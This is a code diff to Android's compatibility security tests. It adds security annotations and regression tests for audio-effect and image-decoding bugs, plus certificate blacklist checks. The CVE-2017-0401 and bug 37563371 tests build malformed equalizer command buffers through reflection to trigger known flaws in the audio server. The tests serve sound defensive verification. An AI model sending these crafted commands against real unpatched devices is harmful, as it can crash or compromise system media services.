--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -15,18 +15,22 @@
  */
 package android.security.cts;
 
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
 import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Equalizer;
+import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.util.Arrays;
 import java.util.UUID;
 
+@SecurityTest
 public class AudioSecurityTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioSecurityTest";
 
@@ -72,10 +76,12 @@
                 testEffect.test(audioEffect);
                 Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
             } catch (Exception e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " failed!");
+                Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+                        e);
                 ++failures;
             } catch (AssertionError e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " failed!");
+                Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+                        e);
                 ++failures;
             }
         }
@@ -118,6 +124,17 @@
         });
     }
 
+    // b/37536407
+    public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
+        testAllEffects("equalizer get parameter name",
+                new TestEffect() {
+            @Override
+            public void test(AudioEffect audioEffect) throws Exception {
+                testAudioEffectEqualizerGetParameterName(audioEffect);
+            }
+        });
+    }
+
     private static void testAudioEffectGetParameter(
             AudioEffect audioEffect, boolean offload) throws Exception {
         if (audioEffect == null) {
@@ -297,6 +314,37 @@
         }
     }
 
+    private static void testAudioEffectEqualizerGetParameterName(
+            AudioEffect audioEffect) throws Exception {
+        if (audioEffect == null) {
+            return;
+        }
+        try {
+            // get parameter name with zero vsize
+            {
+                final int param = Equalizer.PARAM_GET_PRESET_NAME;
+                final int band = 0;
+                byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+                        .order(ByteOrder.nativeOrder())
+                        .putInt(0)          // status (unused)
+                        .putInt(8)          // psize (param, band)
+                        .putInt(0)          // vsize
+                        .putInt(param)      // equalizer param
+                        .putInt(band)       // equalizer band
+                        .array();
+                Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                        "command", int.class, byte[].class, byte[].class).invoke(
+                                audioEffect, EFFECT_CMD_GET_PARAM, command,
+                                new byte[5 * 4] /* reply - ignored */);
+                assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+            }
+        } catch (NoSuchMethodException e) {
+            Log.w(TAG, "AudioEffect.command() does not exist (ignoring)"); // OK
+        } finally {
+            audioEffect.release();
+        }
+    }
+
     // should match effect_visualizer.h (native)
     private static final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
     private static final int VISUALIZER_CMD_CAPTURE = 0x10000;
diff --git a/tests/tests/security/src/android/security/cts/BannedFilesTest.java b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
index 02c4128..8847a84 100644
--- a/tests/tests/security/src/android/security/cts/BannedFilesTest.java
+++ b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
@@ -16,8 +16,10 @@
 
 package android.security.cts;
 
-import android.cts.util.FileUtils;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.util.FileUtils;
 
 import junit.framework.TestCase;
 
@@ -27,6 +29,7 @@
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
 
+@SecurityTest
 public class BannedFilesTest extends TestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 4d51ea7..9115530 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import android.security.cts.R;
@@ -24,6 +25,7 @@
 import java.io.BufferedInputStream;
 import java.io.InputStream;
 
+@SecurityTest
 public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
     /*
      * This test case reproduces the bug in CVE-2015-1532.
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
new file mode 100644
index 0000000..c8bfbb1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import java.io.InputStream;
+
+import android.security.cts.R;
+
+@SecurityTest
+public class BitmapFactorySecurityTests extends AndroidTestCase {
+    private InputStream getResource(int resId) {
+        InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
+        assertNotNull(resource);
+        return resource;
+    }
+
+    /**
+     * Verifies that decoding a corrupt ICO does not run out of memory.
+     */
+    public void test_android_bug_38116746() {
+        InputStream exploitImage = getResource(R.raw.bug_38116746);
+        try {
+            BitmapFactory.decodeStream(exploitImage);
+        } catch (OutOfMemoryError e) {
+            fail("OOM attempting to decode ICO");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BrowserTest.java b/tests/tests/security/src/android/security/cts/BrowserTest.java
index f468d66..de8763e 100644
--- a/tests/tests/security/src/android/security/cts/BrowserTest.java
+++ b/tests/tests/security/src/android/security/cts/BrowserTest.java
@@ -21,6 +21,7 @@
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.os.StrictMode;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.webkit.cts.CtsTestServer;
 
@@ -35,6 +36,7 @@
 /**
  * Test file for browser security issues.
  */
+@SecurityTest
 public class BrowserTest extends AndroidTestCase {
     private CtsTestServer mWebServer;
 
diff --git a/tests/tests/security/src/android/security/cts/CertBlacklistTest.java b/tests/tests/security/src/android/security/cts/CertBlacklistTest.java
new file mode 100644
index 0000000..d7a199e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CertBlacklistTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+import java.io.InputStream;
+import java.util.Collection;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.KeyStore;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509TrustManager;
+
+/**
+ * End to end version of org.conscrypt.CertBlacklistTest that tests the platform default
+ * {@link X509TrustManager}.
+ *
+ * The test blacklisted CA's private key can be found in
+ * external/conscrypt/src/test/resources/blacklist_ca_key.pem
+ */
+public class CertBlacklistTest extends AndroidTestCase {
+
+    private static final int BLACKLIST_CA = R.raw.test_blacklist_ca;
+    private static final int BLACKLISTED_CHAIN = R.raw.blacklist_test_chain;
+    private static final int BLACKLIST_FALLBACK_VALID_CA = R.raw.blacklist_test_valid_ca;
+    private static final int BLACKLISTED_VALID_CHAIN = R.raw.blacklist_test_valid_chain;
+
+    /**
+     * Checks that the blacklisted CA is rejected even if it used as a root of trust
+     */
+    public void testBlacklistedCaUntrusted() throws Exception {
+        X509Certificate blacklistedCa = loadCertificate(BLACKLIST_CA);
+        assertUntrusted(new X509Certificate[] {blacklistedCa}, getTrustManager(blacklistedCa));
+    }
+
+    /**
+     * Checks that a chain that is rooted in a blacklisted trusted CA is rejected.
+     */
+    public void testBlacklistedRootOfTrust() throws Exception {
+        // Chain is leaf -> blacklisted
+        X509Certificate[] chain = loadCertificates(BLACKLISTED_CHAIN);
+        X509Certificate blacklistedCa = loadCertificate(BLACKLIST_CA);
+        assertUntrusted(chain, getTrustManager(blacklistedCa));
+    }
+
+    /**
+     * Tests that the path building correctly routes around a blacklisted cert where there are
+     * other valid paths available. This prevents breakage where a cert was cross signed by a
+     * blacklisted CA but is still valid due to also being cross signed by CAs that remain trusted.
+     * Path:
+     *
+     * leaf -> intermediate -> blacklisted_ca
+     *               \
+     *                -------> trusted_ca
+     */
+    public void testBlacklistedIntermediateFallback() throws Exception {
+        X509Certificate[] chain = loadCertificates(BLACKLISTED_VALID_CHAIN);
+        X509Certificate blacklistedCa = loadCertificate(BLACKLIST_CA);
+        X509Certificate validCa = loadCertificate(BLACKLIST_FALLBACK_VALID_CA);
+        assertTrusted(chain, getTrustManager(blacklistedCa, validCa));
+        // Check that without the trusted_ca the chain is invalid (since it only chains to a
+        // blacklisted ca)
+        assertUntrusted(chain, getTrustManager(blacklistedCa));
+    }
+
+    private X509Certificate loadCertificate(int resId) throws Exception {
+        return loadCertificates(resId)[0];
+    }
+
+    private X509Certificate[] loadCertificates(int resId) throws Exception {
+        CertificateFactory factory = CertificateFactory.getInstance("X.509");
+        try (InputStream is = getContext().getResources().openRawResource(resId)) {
+            Collection<? extends Certificate> collection = factory.generateCertificates(is);
+            X509Certificate[] certs = new X509Certificate[collection.size()];
+            int i = 0;
+            for (Certificate cert : collection) {
+                certs[i++] = (X509Certificate) cert;
+            }
+            return certs;
+        }
+    }
+
+    private static X509TrustManager getTrustManager(X509Certificate... trustedCas)
+            throws Exception {
+        KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
+        ks.load(null);
+        int i = 0;
+        for (X509Certificate ca : trustedCas) {
+            ks.setCertificateEntry(String.valueOf(i++), ca);
+        }
+        TrustManagerFactory tmf = TrustManagerFactory.getInstance("PKIX");
+        tmf.init(ks);
+        for (TrustManager tm : tmf.getTrustManagers()) {
+            if (tm instanceof X509TrustManager) {
+                return (X509TrustManager) tm;
+            }
+        }
+        fail("Could not find default X509TrustManager");
+        return null;
+    }
+
+    private static void assertTrusted(X509Certificate[] certs, X509TrustManager tm)
+            throws Exception {
+        tm.checkServerTrusted(certs, "RSA");
+    }
+
+    private static void assertUntrusted(X509Certificate[] certs, X509TrustManager tm) {
+        try {
+            tm.checkServerTrusted(certs, "RSA");
+            fail();
+        } catch (CertificateException expected) {
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index c1f59ae..61456af 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -17,12 +17,14 @@
  */
 
 package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
 
 /**
  * Run "./cts/tools/utils/java-cert-list-generator.sh >
  * cts/tests/tests/security/src/android/security/cts/CertificateData.java"
  * to generate this file.
  */
+@SecurityTest
 class CertificateData {
   static final String[] CERTIFICATE_DATA = {
       "91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
@@ -36,7 +38,6 @@
       "69:69:56:2E:40:80:F4:24:A1:E7:19:9F:14:BA:F3:EE:58:AB:6A:BB",
       "92:5A:8F:8D:2C:6D:04:E0:66:5F:59:6A:FF:22:D8:63:E8:25:6F:3F",
       "75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
-      "40:9D:4B:D9:17:B5:5C:27:B6:9B:64:CB:98:22:44:0D:CD:09:B8:89",
       "E1:9F:E3:0E:8B:84:60:9E:80:9B:17:0D:72:A8:C5:BA:6E:14:09:BD",
       "DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
       "4F:99:AA:93:FB:2B:D1:37:26:A1:99:4A:CE:7F:F0:05:F2:93:5D:1E",
@@ -82,7 +83,6 @@
       "1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
       "6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
       "A9:E9:78:08:14:37:58:88:F2:05:19:B0:6D:2B:0D:2B:60:16:90:7D",
-      "60:D6:89:74:B5:C2:65:9E:8A:0F:C1:88:7C:88:D2:46:69:1B:18:2C",
       "D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
       "66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
       "DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -96,16 +96,15 @@
       "05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
       "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
       "70:17:9B:86:8C:00:A4:FA:60:91:52:22:3F:9F:3E:32:BD:E0:05:62",
-      "A0:A1:AB:90:C9:FC:84:7B:3B:12:61:E8:97:7D:5F:D3:22:61:D3:CC",
       "D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
       "B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
       "2E:14:DA:EC:28:F0:FA:1E:8E:38:9A:4E:AB:EB:26:C0:0A:D3:83:C3",
       "DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
+      "0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
       "CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
       "13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
       "5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
       "49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
-      "25:01:90:19:CF:FB:D9:99:1C:B7:68:25:74:8D:94:5F:30:93:95:42",
       "B5:1C:06:7C:EE:2B:0C:3D:F8:55:AB:2D:92:F4:FE:39:D4:E7:0F:0E",
       "29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
       "37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
@@ -140,12 +139,14 @@
       "20:D8:06:40:DF:9B:25:F5:12:25:3A:11:EA:F7:59:8A:EB:14:B5:47",
       "CF:9E:87:6D:D3:EB:FC:42:26:97:A3:B5:A3:7A:A0:76:A9:06:23:48",
       "2B:B1:F5:3E:55:0C:1D:C5:F1:D4:E6:B7:6A:46:4B:55:06:02:AC:21",
+      "EC:50:35:07:B2:15:C4:95:62:19:E2:A8:9A:5B:42:99:2C:4C:2C:20",
       "47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B",
       "3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
       "B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
       "F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
       "3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
       "03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
+      "1E:0E:56:19:0A:D1:8B:25:98:B2:04:44:FF:66:8A:04:17:99:5F:3F",
       "DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4",
       "51:C6:E7:08:49:06:6E:F3:92:D4:5C:A0:0D:6D:A3:62:8F:C3:52:39",
       "D3:DD:48:3E:2B:BF:4C:05:E8:AF:10:F5:FA:76:26:CF:D3:DC:30:92",
@@ -154,6 +155,7 @@
       "59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
       "AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
       "DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
+      "F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
       "AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
       "D2:7A:D2:BE:ED:94:C0:A1:3C:C7:25:21:EA:5D:71:BE:81:19:F3:2B",
       "5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
@@ -175,10 +177,10 @@
       "6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
       "31:F1:FD:68:22:63:20:EE:C6:3B:3F:9D:EA:4A:3E:53:7C:7C:39:17",
       "23:88:C9:D3:71:CC:9E:96:3D:FF:7D:3C:A7:CE:FC:D6:25:EC:19:0D",
-      "8C:96:BA:EB:DD:2B:07:07:48:EE:30:32:66:A0:F3:98:6E:7C:AE:58",
       "7F:8A:B0:CF:D0:51:87:6A:66:F3:36:0F:47:C8:8D:8C:D3:35:FC:74",
       "4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
-      "A0:73:E5:C5:BD:43:61:0D:86:4C:21:13:0A:85:58:57:CC:9C:EA:46",
+      "5A:8C:EF:45:D7:A6:98:59:76:7A:8C:8B:44:96:B5:78:CF:47:4B:1A",
+      "8D:A7:F9:65:EC:5E:FC:37:91:0F:1C:6E:59:FD:C1:CC:6A:6E:DE:16",
       "B1:2E:13:63:45:86:A4:6F:1A:B2:60:68:37:58:2D:C4:AC:FD:94:97",
       "04:83:ED:33:99:AC:36:08:05:87:22:ED:BC:5E:46:00:E3:BE:F9:D7",
   };
diff --git a/tests/tests/security/src/android/security/cts/CertificateTest.java b/tests/tests/security/src/android/security/cts/CertificateTest.java
index 5d2a04f..2b8f351 100644
--- a/tests/tests/security/src/android/security/cts/CertificateTest.java
+++ b/tests/tests/security/src/android/security/cts/CertificateTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import java.io.IOException;
+import android.platform.test.annotations.SecurityTest;
 import java.security.KeyStore;
 import java.security.KeyStoreException;
 import java.security.MessageDigest;
@@ -32,6 +33,7 @@
 
 import junit.framework.TestCase;
 
+@SecurityTest
 public class CertificateTest extends TestCase {
 
     public void testNoRemovedCertificates() throws Exception {
diff --git a/tests/tests/security/src/android/security/cts/CharDeviceTest.java b/tests/tests/security/src/android/security/cts/CharDeviceTest.java
index 51975b9..2801672 100644
--- a/tests/tests/security/src/android/security/cts/CharDeviceTest.java
+++ b/tests/tests/security/src/android/security/cts/CharDeviceTest.java
@@ -16,8 +16,11 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import junit.framework.TestCase;
 
+@SecurityTest
 public class CharDeviceTest extends TestCase {
 
     static {
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 6e64120..3178616 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import java.io.InputStream;
 import java.security.KeyStore;
@@ -31,6 +32,7 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
+@SecurityTest
 public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
 
     private X509Certificate[] loadCertificates(int resource) throws Exception {
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
new file mode 100644
index 0000000..e64e37a
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import java.io.InputStream;
+
+import android.security.cts.R;
+
+public class DecodeTest extends AndroidTestCase {
+    /**
+     * Verifies that the device fails to decode a large, corrupt BMP.
+     *
+     * Prior to fixing bug 34778578, decoding this file would crash. Instead, it should fail to
+     * decode.
+     */
+    @SecurityTest
+    public void test_android_bug_34778578() {
+        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+        Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
+        assertNull(bitmap);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/DeviceIdleControllerTest.java b/tests/tests/security/src/android/security/cts/DeviceIdleControllerTest.java
index 0b183aa..67abed3 100644
--- a/tests/tests/security/src/android/security/cts/DeviceIdleControllerTest.java
+++ b/tests/tests/security/src/android/security/cts/DeviceIdleControllerTest.java
@@ -43,6 +43,7 @@
         try {
             service.shellCommand(FileDescriptor.in, FileDescriptor.out, FileDescriptor.err,
                     new String[]{"whitelist", "+" + mContext.getPackageName()},
+                    null,
                     new ResultReceiver(null) {
                         @Override
                         protected void onReceiveResult(int resultCode, Bundle resultData) {
@@ -65,4 +66,3 @@
         assertFalse(pm.isIgnoringBatteryOptimizations(mContext.getPackageName()));
     }
 }
-
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index c844fbb..32c3b5c 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -19,6 +19,7 @@
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Equalizer;
 import android.media.MediaPlayer;
+import android.platform.test.annotations.SecurityTest;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
@@ -27,6 +28,7 @@
 import java.nio.charset.StandardCharsets;
 import java.util.Arrays;
 
+@SecurityTest
 public class EffectBundleTest extends InstrumentationTestCase {
     private static final String TAG = "EffectBundleTest";
     private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
@@ -148,6 +150,61 @@
                 eqGetParamFreqRangeCommand(MEDIA_LONG));
     }
 
+    //testing security bug: 37563371 (short media)
+    public void testEqualizer_setParamProperties_short() throws Exception {
+        assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
+                eqSetParamProperties(MEDIA_SHORT));
+    }
+
+    //testing security bug: 37563371 (long media)
+    public void testEqualizer_setParamProperties_long() throws Exception {
+        assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
+                eqSetParamProperties(MEDIA_LONG));
+    }
+
+    private boolean eqSetParamProperties(int media) {
+        MediaPlayer mp = null;
+        Equalizer eq = null;
+        boolean status = false;
+        try {
+            mp = MediaPlayer.create(getInstrumentation().getContext(),  getMediaId(media));
+            eq = new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+
+            int intSize = 4; //bytes
+            int shortSize = 2; //bytes
+
+            int cmdCode = 5; // EFFECT_CMD_SET_PARAM
+            byte command[] = concatArrays(/*status*/ intToByteArray(0),
+                    /*psize*/ intToByteArray(1 * intSize),
+                    /*vsize*/ intToByteArray(2 * shortSize),
+                    /*data[0]*/ intToByteArray((int) 9 /*EQ_PARAM_PROPERTIES*/),
+                    /*data[4]*/ shortToByteArray((short)-1 /*preset*/),
+                    /*data[6]*/ shortToByteArray((short)5 /*FIVEBAND_NUMBANDS*/));
+            byte reply[] = new byte[ 4 /*command.length*/];
+
+            AudioEffect af = eq;
+            Object o = AudioEffect.class.getDeclaredMethod("command", int.class, byte[].class,
+                    byte[].class).invoke(af, cmdCode, command, reply);
+
+            int replyValue = byteArrayToInt(reply, 0 /*offset*/);
+            if (replyValue >= 0) {
+                Log.w(TAG, "Reply Value: " + replyValue);
+            }
+            assertTrue("Negative replyValue was expected ", replyValue < 0);
+            status = true;
+        } catch (Exception e) {
+            Log.w(TAG,"Problem setting parameter in equalizer");
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+            if (mp != null) {
+                mp.release();
+            }
+        }
+        return status;
+    }
+
     private boolean eqGetParamFreqRangeCommand(int media) {
         MediaPlayer mp = null;
         Equalizer eq = null;
@@ -314,6 +371,12 @@
         return converter.array();
     }
 
+    public static int byteArrayToInt(byte[] valueBuf, int offset) {
+        ByteBuffer converter = ByteBuffer.wrap(valueBuf);
+        converter.order(ByteOrder.nativeOrder());
+        return converter.getInt(offset);
+    }
+
     private static byte[] shortToByteArray(short value) {
         ByteBuffer converter = ByteBuffer.allocate(2);
         converter.order(ByteOrder.nativeOrder());
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 1a49d7f..2c42243 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -18,6 +18,7 @@
 
 import com.android.compatibility.common.util.PropertyUtil;
 
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import junit.framework.TestCase;
 
@@ -29,6 +30,7 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+@SecurityTest
 public class EncryptionTest extends AndroidTestCase {
 
     static {
diff --git a/tests/tests/security/src/android/security/cts/HwRngTest.java b/tests/tests/security/src/android/security/cts/HwRngTest.java
index e654f9d..35c65f5 100644
--- a/tests/tests/security/src/android/security/cts/HwRngTest.java
+++ b/tests/tests/security/src/android/security/cts/HwRngTest.java
@@ -16,8 +16,9 @@
 
 package android.security.cts;
 
-import android.cts.util.CtsAndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -36,6 +37,7 @@
 /**
  * Tests for hardware random number generator device {@code /dev/hw_random}.
  */
+@SecurityTest
 public class HwRngTest extends CtsAndroidTestCase {
 
     // The block of constants below is from hw_random framework documentation and source code:
@@ -182,4 +184,4 @@
             } catch (IOException ignored) {}
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java b/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java
index 755cf3e..1925781 100644
--- a/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java
+++ b/tests/tests/security/src/android/security/cts/IntentSenderRemovalTest.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -26,6 +28,7 @@
  * Make sure the DebugIntentSender activity, which allows privilege escalation of intent caller
  * to system uid, has been removed from the system.
  */
+@SecurityTest
 public class IntentSenderRemovalTest extends AndroidTestCase {
 
     /**
@@ -42,4 +45,3 @@
         assertNull("com.android.settings.DebugIntentSender should not be a valid activity", ri);
     }
 }
-
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index ac264d0..56e3e13 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -21,6 +21,7 @@
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.IIsolatedService;
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
@@ -30,6 +31,7 @@
 import java.util.concurrent.TimeUnit;
 import junit.framework.Assert;
 
+@SecurityTest
